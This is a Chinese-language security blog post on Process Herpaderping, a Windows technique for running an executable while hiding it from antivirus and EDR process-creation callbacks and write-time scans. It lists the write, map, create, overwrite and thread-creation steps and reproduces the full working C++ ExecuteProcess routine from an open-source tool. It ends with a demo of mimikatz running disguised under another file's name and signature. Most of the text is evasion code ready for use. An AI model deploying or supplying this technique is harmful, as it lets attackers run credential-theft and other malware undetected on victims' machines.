0x00、介绍
之前有介绍过.net程序的不落地执行方式,本片介绍一种native可执行程序的加载执行技术ProcessHerpaderping。
0x01、利用思路
通常,安全产品通过在Windows内核中注册回调(PsSetCreateProcessNotifyRoutineEx)来对进程创建进行检测。此时,安全产品可能会检查用于映射可执行文件的文件,并确定是否应该允许执行此进程。内核回调是在插入初始线程时调用的,而不是在创建进程对象时调用的。因此可以创建并映射进程,修改文件的内容,然后创建初始线程。在创建回调时安全产品将看到修改后的内容。此外,一些安全产品使用写入时扫描方法,该方法包括对文件写入的监视。安全产品常见的优化是检测已写入的文件,并将实际检查推迟到IRP_MJ_CLEANUP发生(例如,文件句柄关闭)。因此,使用write -> map -> modify -> execute -> close的代码可以bypass只依赖于IRP_MJ_CLEANUP检查的写时扫描。步骤如下:
- 将目标二进制写入磁盘,保持句柄打开。这将在内存中执行。
- 将文件映射为映像节(NtCreateSection, SEC_IMAGE)。
- 使用节句柄(NtCreateProcessEx)创建流程对象。
- 使用相同的目标文件句柄,模糊磁盘上的文件。
- 在进程中创建初始线程(NtCreateThreadEx)。
此时内核中的进程创建回调将被触发。磁盘上的内容与映射的内容不匹配。此时检查本地文件是没有意义的。
- 关闭手柄。IRP_MJ_CLEANUP将在这里发生。由于我们已经隐藏了正在执行的内容,此时检查本地文件也是没有意义的。
0x02、代码实现分析
参考开源代码:https://github.com/jxy-s/herpaderping
关键代码函数
//
// Copyright (c) Johnny Shaw. All rights reserved.
//
// File: source/ProcessHerpaderping/herpaderp.cpp
// Author: Johnny Shaw
// Abstract: Herpaderping Functionality
//
#include "pch.hpp"
#include "herpaderp.hpp"
#include "utils.hpp"
_Use_decl_annotations_
HRESULT Herpaderp::ExecuteProcess(
const std::wstring& SourceFileName,
const std::wstring& TargetFileName,
const std::optional<std::wstring>& ReplaceWithFileName,
std::span<const uint8_t> Pattern,
uint32_t Flags)
{
if (FlagOn(Flags, FlagHoldHandleExclusive) &&
FlagOn(Flags, FlagCloseFileEarly))
{
//
// Incompatible flags.
//
return E_INVALIDARG;
}
if (FlagOn(Flags, FlagWaitForProcess) &&
FlagOn(Flags, FlagKillSpawnedProcess))
{
//
// Incompatible flags.
//
return E_INVALIDARG;
}
wil::unique_handle processHandle;
//
// If something goes wrong, we'll terminate the process.
//
auto terminateProcess = wil::scope_exit([&processHandle]() -> void
{
if (processHandle.is_valid())
{
TerminateProcess(processHandle.get(), 0);
}
});
Utils::Log(Log::Success, L"Source File: \"%ls\"", SourceFileName.c_str());
Utils::Log(Log::Success, L"Target File: \"%ls\"", TargetFileName.c_str());
//
// Open the source binary and the target file we will execute it from.
//
wil::unique_handle sourceHandle;
sourceHandle.reset(CreateFileW(SourceFileName.c_str(),
GENERIC_READ,
FILE_SHARE_READ |
FILE_SHARE_WRITE |
FILE_SHARE_DELETE,
nullptr,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
nullptr));
if (!sourceHandle.is_valid())
{
RETURN_LAST_ERROR_SET(Utils::Log(Log::Error,
GetLastError(),
L"Failed to open source file"));
}
std::wstring targetFileName = TargetFileName;
if (FlagOn(Flags, FlagDirectory))
{
Utils::Log(Log::Information,
L"Targeting Directory: \"%ls\"",
targetFileName.c_str());
wil::unique_handle dirHandle;
if (CreateDirectoryW(targetFileName.c_str(), nullptr) == FALSE)
{
RETURN_LAST_ERROR_SET(Utils::Log(Log::Error,
GetLastError(),
L"Failed to create directory"));
}
targetFileName += L":exe";
Utils::Log(Log::Information,
L"Using Directory Stream: \"%ls\"",
targetFileName.c_str());
}
DWORD shareMode = (FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE);
if (FlagOn(Flags, FlagHoldHandleExclusive))
{
Utils::Log(Log::Information,
L"Creating target file with exclusive access");
shareMode = 0;
}
wil::unique_handle targetHandle;
targetHandle.reset(CreateFileW(targetFileName.c_str(),
GENERIC_READ | GENERIC_WRITE,
shareMode,
nullptr,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
nullptr));
if(!targetHandle.is_valid())
{
RETURN_LAST_ERROR_SET(Utils::Log(Log::Error,
GetLastError(),
L"Failed to create target file"));
}
//
// Copy the content of the source process to the target.
//
HRESULT hr = Utils::CopyFileByHandle(sourceHandle.get(),
targetHandle.get());
if (FAILED(hr))
{
Utils::Log(Log::Error,
hr,
L"Failed to copy source binary to target file");
RETURN_HR(hr);
}
Utils::Log(Log::Information, L"Copied source binary to target file");
//
// We're done with the source binary.
//
sourceHandle.reset();
//
// Map and create the target process. We'll make it all derpy in a moment...
//
wil::unique_handle sectionHandle;
auto status = NtCreateSection(§ionHandle,
SECTION_ALL_ACCESS,
nullptr,
nullptr,
PAGE_READONLY,
SEC_IMAGE,
targetHandle.get());
if (!NT_SUCCESS(status))
{
sectionHandle.release();
RETURN_NTSTATUS(Utils::Log(
Log::Error,
status,
L"Failed to create target file image section"));
}
Utils::Log(Log::Information, L"Created image section for target");
status = NtCreateProcessEx(&processHandle,
PROCESS_ALL_ACCESS,
nullptr,
NtCurrentProcess(),
PROCESS_CREATE_FLAGS_INHERIT_HANDLES,
sectionHandle.get(),
nullptr,
nullptr,
0);
if (!NT_SUCCESS(status))
{
processHandle.release();
RETURN_NTSTATUS(Utils::Log(Log::Error,
status,
L"Failed to create process"));
}
Utils::Log(Log::Information,
L"Created process object, PID %lu",
GetProcessId(processHandle.get()));
//
// Alright we have the process set up, we don't need the section.
//
sectionHandle.reset();
//
// Go get the remote entry RVA to create a thread later on.
//
uint32_t imageEntryPointRva;
hr = Utils::GetImageEntryPointRva(targetHandle.get(),
imageEntryPointRva);
Utils::Log(Log::Information,
L"Located target image entry RVA 0x%08x",
imageEntryPointRva);
//
// Alright, depending on the parameter passed in. We will either:
// A. Overwrite the target binary with another.
// B. Overwrite the target binary with a pattern.
//
if (ReplaceWithFileName.has_value())
{
//
// (A) We are overwriting the binary with another file.
//
Utils::Log(Log::Success,
L"Replacing target with \"%ls\"",
ReplaceWithFileName->c_str());
wil::unique_handle replaceWithHandle;
replaceWithHandle.reset(CreateFileW(ReplaceWithFileName->c_str(),
GENERIC_READ,
FILE_SHARE_READ |
FILE_SHARE_WRITE |
FILE_SHARE_DELETE,
nullptr,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
nullptr));
if (!replaceWithHandle.is_valid())
{
RETURN_LAST_ERROR_SET(Utils::Log(
Log::Error,
GetLastError(),
L"Failed to open replace with file"));
}
//
// Replace the bytes. We handle a failure here. We'll fix it up after.
//
hr = Utils::CopyFileByHandle(replaceWithHandle.get(),
targetHandle.get(),
FlagOn(Flags, FlagFlushFile));
if (FAILED(hr))
{
if (hr != HRESULT_FROM_WIN32(ERROR_USER_MAPPED_FILE))
{
Utils::Log(Log::Error,
hr,
L"Failed to replace target file");
RETURN_HR(hr);
}
//
// This error occurs when trying to truncate a file that has a
// user mapping open. In other words, the file we tried to replace
// with was smaller than the original.
// Let's fix up the replacement to hide the original bytes and
// retain any signer info.
//
Utils::Log(Log::Information,
L"Fixing up target replacement, "
L"hiding original bytes and retaining any signature");
uint64_t replaceWithSize;
hr = Utils::GetFileSize(replaceWithHandle.get(), replaceWithSize);
uint32_t bytesWritten = 0;
hr = Utils::OverwriteFileAfterWithPattern(
targetHandle.get(),
replaceWithSize,
Pattern,
bytesWritten,
FlagOn(Flags, FlagFlushFile));
if (FAILED(hr))
{
Utils::Log(Log::Warning,
hr,
L"Failed to hide original file bytes");
}
else
{
hr = Utils::ExtendFileSecurityDirectory(
targetHandle.get(),
bytesWritten,
FlagOn(Flags, FlagFlushFile));
}
}
}
else
{
//
// (B) Just overwrite the target binary with a pattern.
//
Utils::Log(Log::Success, L"Overwriting target with pattern");
hr = Utils::OverwriteFileContentsWithPattern(
targetHandle.get(),
Pattern,
FlagOn(Flags, FlagFlushFile));
}
//
// Alright, at this point the process is going to be derpy enough.
// Do the work necessary to make it execute.
//
Utils::Log(Log::Success, L"Preparing target for execution");
PROCESS_BASIC_INFORMATION pbi{};
status = NtQueryInformationProcess(processHandle.get(),
ProcessBasicInformation,
&pbi,
sizeof(pbi),
nullptr);
PEB peb{};
if (!ReadProcessMemory(processHandle.get(),
pbi.PebBaseAddress,
&peb,
sizeof(peb),
nullptr))
{
RETURN_LAST_ERROR_SET(Utils::Log(Log::Error,
GetLastError(),
L"Failed to read remote process PEB"));
}
hr = Utils::WriteRemoteProcessParameters(
processHandle.get(),
TargetFileName,
std::nullopt,
std::nullopt,
(L"\"" + TargetFileName + L"\""),
NtCurrentPeb()->ProcessParameters->Environment,
TargetFileName,
L"WinSta0\\Default",
std::nullopt,
std::nullopt);
if (FlagOn(Flags, FlagCloseFileEarly))
{
//
// Caller wants to close the file early, before the notification
// callback in the kernel would fire, do so.
//
targetHandle.reset();
}
//
// Create the initial thread, when this first thread is inserted the
// process create callback will fire in the kernel.
//
void* remoteEntryPoint = Add2Ptr(peb.ImageBaseAddress, imageEntryPointRva);
Utils::Log(Log::Information,
L"Creating thread in process at entry point 0x%p",
remoteEntryPoint);
wil::unique_handle threadHandle;
status = NtCreateThreadEx(&threadHandle,
THREAD_ALL_ACCESS,
nullptr,
processHandle.get(),
remoteEntryPoint,
nullptr,
0,
0,
0,
0,
nullptr);
if (!NT_SUCCESS(status))
{
threadHandle.release();
RETURN_NTSTATUS(Utils::Log(Log::Error,
status,
L"Failed to create remote thread"));
}
Utils::Log(Log::Information,
L"Created thread, TID %lu",
GetThreadId(threadHandle.get()));
if (!FlagOn(Flags, FlagKillSpawnedProcess))
{
//
// Process was executed successfully. Do not terminate.
//
terminateProcess.release();
}
if (!FlagOn(Flags, FlagHoldHandleExclusive))
{
//
// We're done with the target file handle. At this point the process
// create callback will have fired in the kernel.
//
targetHandle.reset();
}
if (FlagOn(Flags, FlagWaitForProcess))
{
//
// Wait for the process to exit.
//
Utils::Log(Log::Success, L"Waiting for herpaderped process to exit");
WaitForSingleObject(processHandle.get(), INFINITE);
DWORD targetExitCode = 0;
GetExitCodeProcess(processHandle.get(), &targetExitCode);
Utils::Log(Log::Success,
L"Herpaderped process exited with code 0x%08x",
targetExitCode);
}
else
{
Utils::Log(Log::Success, L"Successfully spawned herpaderped process");
}
return S_OK;
}
0x03、生成演示
可以看到运行的mimikatz,有第二个参数的名字,有第三个参数的签名信息